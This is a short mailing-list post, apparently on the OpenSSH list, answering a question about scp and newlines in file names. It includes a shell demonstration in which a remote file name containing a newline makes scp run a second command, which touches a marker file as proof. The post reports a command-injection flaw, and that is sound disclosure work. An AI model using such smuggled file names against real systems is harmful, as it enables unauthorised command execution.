scp, sftp, and special characters in filenames

David Newall openssh at
Mon Nov 4 11:43:27 AEDT 2019

On 4/11/19 3:29 am, Demi M. Obenour wrote:
> I have not been able to get scp(1) to download a file with a newline
> in its name.  I know that scp(1) requires that remote filenames be
> escaped for the shell, but that leads to protocol errors.

I see something much worse:

    $ sudo sh
    # echo "#!/bin/sh
    touch /tmp/b-ran" > /tmp/b
    # chmod a+x /tmp/b
    # exit
    $ touch a 'a
    $ rm -f abc /tmp/b-ran
    $ scp localhost:'a
    b' abc
    a                                                 100%    0     0.0KB/s   00:00
    $ ls /tmp/b-ran

Scp can be exploited to run commands, which I think is a problem.

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